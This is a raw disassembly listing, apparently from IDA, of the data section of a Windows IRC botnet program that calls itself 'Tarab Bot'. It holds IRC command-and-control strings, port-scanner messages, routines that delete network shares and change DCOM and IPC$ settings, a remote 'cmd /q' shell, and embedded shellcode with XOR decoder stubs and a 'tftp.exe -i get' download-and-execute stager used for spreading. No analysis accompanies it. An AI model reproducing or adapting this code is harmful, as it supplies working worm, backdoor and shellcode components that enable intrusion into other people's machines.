		db 0BBh, 2, 20h
aUserSLoggedO_1	db ' User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_40EC43+2D6o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EC43+27Fo
					; sub_40EC43+4E64o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EC43+257o
a@:					; DATA XREF: sub_40EC43+22Co
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EC43+21Co
a005		db '005',0              ; DATA XREF: sub_40EC43+207o
a001		db '001',0              ; DATA XREF: sub_40EC43+1F2o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+1D6o
					; sub_40EC43+39Co ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EC43+1B5o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EC43+19Bo
		align 4
asc_437C4C:				; DATA XREF: sub_40EC43+18Co
					; sub_40EC43+60C1o
		unicode	0, <!>,0
asc_437C50	db ' :',0               ; DATA XREF: sub_40EC43+86o
					; sub_40EC43:loc_40F77Eo
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_414F16+119o
		align 10h
unk_437C60	db    2			; DATA XREF: sub_4150C3:loc_415150o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_437C98	db    2			; DATA XREF: sub_4150C3+86o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_437CD0	db    2			; DATA XREF: sub_4150C3+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_437D04	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415208+1E9o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_437D3C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415208+1C2o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 4
dword_437D78	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415208+1A2o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 10h
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_415208+172o
		align 4
dword_437DC4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415208+E1o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 10h
dword_437E00	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41540D:loc_41543Fo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_437E38	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41544E+1Bo
		dd 2029671Fh, 2BBBB02h
aLoginRejectedR	db '  Login rejected, Remote user: <%s@%s>.',0
		align 10h
dword_437E80	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547D+218o
		dd 2029671Fh, 2BBBB02h
aErrorServerF_0	db '  Error: server failed, returned: <%d>.',0
		align 8
dword_437EC8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547D+1E8o
		dd 2029671Fh, 2BBBB02h
aFailedToSta_27	db '  Failed to start client thread, error: <%d>.',0
		align 8
dword_437F18	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547D+177o
		dd 2029671Fh, 2BBBB02h
aClientConnec_1	db '  Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
dword_437F70	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547D+106o
		dd 2029671Fh, 2BBBB02h
aReadyAndWaitin	db '  Ready and waiting for incoming connections.',0
		align 10h
dword_437FC0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547D+70o
		dd 2029671Fh, 2BBBB02h
aFailedToInstal	db '  Failed to install control-C handler, error: <%d>.',0
dword_438010	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547D+3Do
		dd 2029671Fh, 2BBBB02h
aErrorWsastartu	db '  Error: WSAStartup(): <%d>.',0
		align 10h
dword_438050	dd 736E6F63h		; DATA XREF: sub_415A3A+Fr
		dd 74h,	0
dword_43805C	dd 1			; DATA XREF: sub_415A3A:loc_415A61r
off_438060	dd offset sub_415704	; DATA XREF: sub_415A3A+4Ar
aLetter		db 'letter',0
		align 10h
		dd 2, 415762h, 706D6F63h, 2 dup(0)
		dd 3, 4157AFh, 6E756F63h, 797274h, 0
		dd 4, 41581Eh, 736Fh, 2	dup(0)
		dd 5, 415893h
dword_4380B4	dd 69257325h, 0		; DATA XREF: sub_415704+40o
					; .data:004157FFo ...
dword_4380BC	dd 4350h		; DATA XREF: .data:004157CCo
dword_4380C0	dd 7C7325h		; DATA XREF: .data:0041584Do
dword_4380C4	dd 5D73255Bh, 7Ch	; DATA XREF: .data:00415957o
dword_4380CC	dd 334B32h		; DATA XREF: .data:00415947o
dword_4380D0	dd 5D64255Bh, 7325h	; DATA XREF: sub_41599D+3Ao
dword_4380D8	dd 5D4D5Bh, 0		; DATA XREF: sub_41599D+2Co
					; sub_41599D+51o
dword_4380E0	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_415AA4+92o
		dd 2029671Fh, 2BBBB02h
aTarabBotIpSP_0	db ' Tarab Bot   IP: %s Port: %d is open.',0
		align 8
dword_438128	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_415B71+41o
		dd 2029671Fh, 2BBBB02h
aTarabBotScanni	db '  Tarab Bot  Scanning IP: %s, Port: %d.',0
off_43816C	dd offset dword_4381A4	; DATA XREF: sub_415CC2:loc_415E77r
					; sub_415CC2+1C3r ...
dword_438170	dd 0			; DATA XREF: sub_415FE8:loc_416169r
		dd offset dword_43819C
		dd 0
		dd offset dword_438198
		dd offset dword_438194
		dd offset dword_438190
		dd offset dword_43818C
dword_43818C	dd 5C3A44h		; DATA XREF: .data:00438188o
dword_438190	dd 2444h		; DATA XREF: .data:00438184o
dword_438194	dd 5C3A43h		; DATA XREF: .data:00438180o
dword_438198	dd 2443h		; DATA XREF: .data:0043817Co
dword_43819C	dd 494D4441h, 244Eh	; DATA XREF: .data:00438174o
dword_4381A4	dd 24435049h, 0		; DATA XREF: .data:off_43816Co
unk_4381AC	db    2			; DATA XREF: sub_415CC2+2E7o
					; sub_415FE8+2DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_4381EC	db    2			; DATA XREF: sub_415CC2+2D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438224	db    2			; DATA XREF: sub_415CC2:loc_415F2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
unk_438260	db    2			; DATA XREF: sub_415CC2+263o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438294	db    2			; DATA XREF: sub_415CC2:loc_415E9Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_4382D0	db    2			; DATA XREF: sub_415CC2+1D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438304	db    2			; DATA XREF: sub_415CC2:loc_415DF4o
					; sub_415FE8:loc_416116o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 8
unk_438348	db    2			; DATA XREF: sub_415CC2:loc_415DEDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 8
unk_438398	db    2			; DATA XREF: sub_415CC2:loc_415DD5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 10h
unk_4383E0	db    2			; DATA XREF: sub_415CC2+10Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415CC2+EDo
					; sub_415FE8+EDo
		align 10h
unk_438440	db    2			; DATA XREF: sub_415CC2+91o
					; sub_415FE8+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 10h
dword_438480	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415CC2:loc_415D35o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_4384AC	db    2			; DATA XREF: sub_415CC2+6Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415CC2+54o
					; sub_415FE8+54o
		align 4
word_4384EC	dw 4Eh			; DATA XREF: sub_415CC2+38r
		align 10h
unk_4384F0	db    2			; DATA XREF: sub_415FE8+2C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_415FE8+22Fo
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_415FE8+21Eo
unk_438530	db    2			; DATA XREF: sub_415FE8:loc_416195o
					; sub_415FE8:loc_416260o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_438568	db    2			; DATA XREF: sub_415FE8+1A6o
					; sub_415FE8+271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_438598	db    2			; DATA XREF: sub_415FE8:loc_41610Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 8
unk_4385E8	db    2			; DATA XREF: sub_415FE8:loc_4160F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
		align 10h
unk_438630	db    2			; DATA XREF: sub_415FE8+108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43867C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415FE8:loc_41605Bo
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4386A8	db    2			; DATA XREF: sub_415FE8+6Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4386DC	dw 59h			; DATA XREF: sub_415FE8+38r
		align 10h
dword_4386E0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416304+E2o
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 8
dword_438728	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416304+59o
					; sub_416304+8Fo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
dword_438780	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416459+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4387B8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416459+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_438808	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416459+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_438858	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416552+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416552+8Co
		align 8
dword_4388A8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41662B+8Do
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 8

loc_4388F8:				; DATA XREF: sub_416979+BEo
		jmp	short loc_4388FC
; ---------------------------------------------------------------------------

loc_4388FA:				; CODE XREF: .data:loc_4388FCp
		jmp	short loc_438901
; ---------------------------------------------------------------------------

loc_4388FC:				; CODE XREF: .data:loc_4388F8j
		call	loc_4388FA

loc_438901:				; CODE XREF: .data:loc_4388FAj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_438906	dw 0FFFFh		; DATA XREF: sub_416979+C6w
		db 80h,	73h, 0Eh
byte_43890B	db 0FFh			; DATA XREF: sub_416979+CDw
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_438910:				; DATA XREF: sub_416979+9Co
		jmp	short loc_438914
; ---------------------------------------------------------------------------

loc_438912:				; CODE XREF: .data:loc_438914p
		jmp	short loc_438919
; ---------------------------------------------------------------------------

loc_438914:				; CODE XREF: .data:loc_438910j
		call	loc_438912

loc_438919:				; CODE XREF: .data:loc_438912j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_43891D	db 0FFh			; DATA XREF: sub_416979+A4w
		dw 7380h
		db 0Ch
byte_438921	db 0FFh			; DATA XREF: sub_416979+AAw
		dw 0E243h
		dd 0F9h
dword_438928	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416802+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43898C	dd 12h			; DATA XREF: sub_416802+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416802+79o
aJ		db 'j',0
		db 0E8h
dword_4389A5	dd 17h			; DATA XREF: sub_416802+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4389AC
		retn
; ---------------------------------------------------------------------------
byte_4389AC	db 0E8h			; CODE XREF: .data:004389A9j
dword_4389AD	dd 1			; DATA XREF: sub_416802+45w
byte_4389B1	db 0, 6Ah, 0		; DATA XREF: sub_416802+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4389BB	dd 0FFFFFFEDh		; DATA XREF: sub_416802+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_416B37+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416D02+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416D02+35o
dword_438A3C	dd 0F5BB9C9Ch		; DATA XREF: sub_417008+4w sub_417012r ...
dword_438A40	dd 173Fh		; DATA XREF: sub_4179A4+Dr
		dd 9875h, 9873h
off_438A4C	dd offset sub_417A73	; DATA XREF: sub_4197B8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_438A58	dd 1B3Fh		; DATA XREF: sub_417AEB+Dr
dword_438A5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_417F6D+2o
					; sub_417F76+2o
off_438A70	dd offset sub_4197F6	; DATA XREF: sub_4199DA+1Cr
dword_438A74	dd 2			; DATA XREF: sub_41F578+Er
					; sub_41F5B1+46r ...
off_438A78	dd offset aNull_0	; DATA XREF: sub_419B38:loc_419E9Cr
					; sub_419B38+457r
					; "(null)"
off_438A7C	dd offset aNull		; DATA XREF: sub_419B38+259r
					; "(null)"
off_438A80	dd offset word_438A8A	; DATA XREF: sub_417494+23r
					; sub_417494:loc_4174F5r ...
off_438A84	dd offset word_438A8A	; DATA XREF: sub_422BB1+18r
		db 2 dup(0)
word_438A8A	dw 20h			; DATA XREF: sub_420D5E+18r
					; .data:off_438A80o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_438C8C	dd 1			; DATA XREF: sub_417494:loc_41749Cr
					; sub_417494:loc_4174E0r ...
byte_438C90	db 2Eh			; DATA XREF: sub_41C56F:loc_41C5AFr
					; sub_41C5C9+4r ...
		align 4
		dd 1, 10h, 0
off_438CA0	dd offset off_438CA0	; DATA XREF: sub_41B588+Do
					; sub_41B588+69o ...
off_438CA4	dd offset off_438CA0	; DATA XREF: sub_41B588:loc_41B608r
					; sub_41B588+89w ...
		dd offset dword_438CB8
		dd offset dword_438CB8
dword_438CB0	dd 0FFFFFFFFh		; DATA XREF: sub_41B588r
					; sub_41B6CC:loc_41B719w
		dd 0FFFFFFFFh
dword_438CB8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.data:00438CA8o
					; .data:00438CACo
off_43ACC0	dd offset off_438CA0	; DATA XREF: sub_41B6CC+15r
					; sub_41B6CC+20w ...
dword_43ACC4	dd 1E0h			; DATA XREF: sub_4178C7:loc_417903r
					; sub_41914F+185r ...
dword_43ACC8	dd 14h			; DATA XREF: sub_41C2B8+2o
off_43ACCC	dd offset aExp		; DATA XREF: sub_41C2B8:loc_41C2D5r
					; "exp"
		dd 1Dh,	423804h, 1Ah, 423800h, 1Bh, 4237F8h, 1Fh, 4237F0h
		dd 13h,	4237E8h, 21h, 4237E0h, 0Eh, 4237D8h, 0Dh, 4237D0h
		dd 0Fh,	4237C8h, 10h, 4237C0h, 5, 4237B8h, 1Eh,	4237B4h
		dd 12h,	4237B0h, 20h, 4237ACh, 0Ch, 4237A4h, 0Bh, 42379Ch
		dd 15h,	423794h, 1Ch, 42378Ch, 19h, 423784h, 11h, 42377Ch
		dd 18h,	423774h, 16h, 42376Ch, 17h, 423764h, 22h, 423760h
		dd 23h,	42375Ch, 24h, 423758h
dbl_43ADA0	dq 1.797693134862316e308 ; DATA	XREF: sub_41BFF3+B7r
					; sub_41BFF3:loc_41C0DAr ...
		dd 0
		dd 0FFF80000h
dbl_43ADB0	dq 1.797693134862316e308 ; DATA	XREF: sub_41BFF3+92r
					; sub_41BFF3:loc_41C0B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43ADC8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C4A0+Dr
					; sub_41C4A0+1Fr
		align 4
tbyte_43ADD4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C4A0+31r
		align 10h
off_43ADE0	dd offset sub_41C934	; DATA XREF: sub_417A8B+Fw
					; sub_419B38+3AAr
off_43ADE4	dd offset sub_41C5C9	; DATA XREF: sub_417A8B+5w
					; sub_419B38+3E2r
off_43ADE8	dd offset sub_41C62F	; DATA XREF: sub_417A8B+14w
					; sub_41D497+430r
off_43ADEC	dd offset sub_41C56F	; DATA XREF: sub_417A8B+1Ew
					; sub_419B38+3CBr
off_43ADF0	dd offset sub_41C617	; DATA XREF: sub_417A8B+28w
off_43ADF4	dd offset sub_41C934	; DATA XREF: sub_417A8B+32w
		dd offset sub_42059A
		align 10h
		dd offset sub_41D1FC
off_43AE04	dd offset sub_41D1FC	; DATA XREF: sub_41D252+29r
dword_43AE08	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D497:loc_41D9FEo
dword_43AE10	dd 5Dh,	0		; DATA XREF: sub_41D497:loc_41D8EEo
byte_43AE18	db 1			; DATA XREF: sub_41E658+E1r
		db 2, 4, 8
		align 10h
dword_43AE20	dd 3A4h			; DATA XREF: sub_41E658+2Fo
dword_43AE24	dd 82798260h, 21h, 0	; DATA XREF: sub_41E658+11Dr
dword_43AE30	dd 0DFA6h		; DATA XREF: sub_41E658+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43AF10	dd 1			; DATA XREF: sub_41E658+3Co
					; sub_41EC6F+Co
dword_43AF14	dd 16h			; DATA XREF: sub_41EC6F:loc_41ECA4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
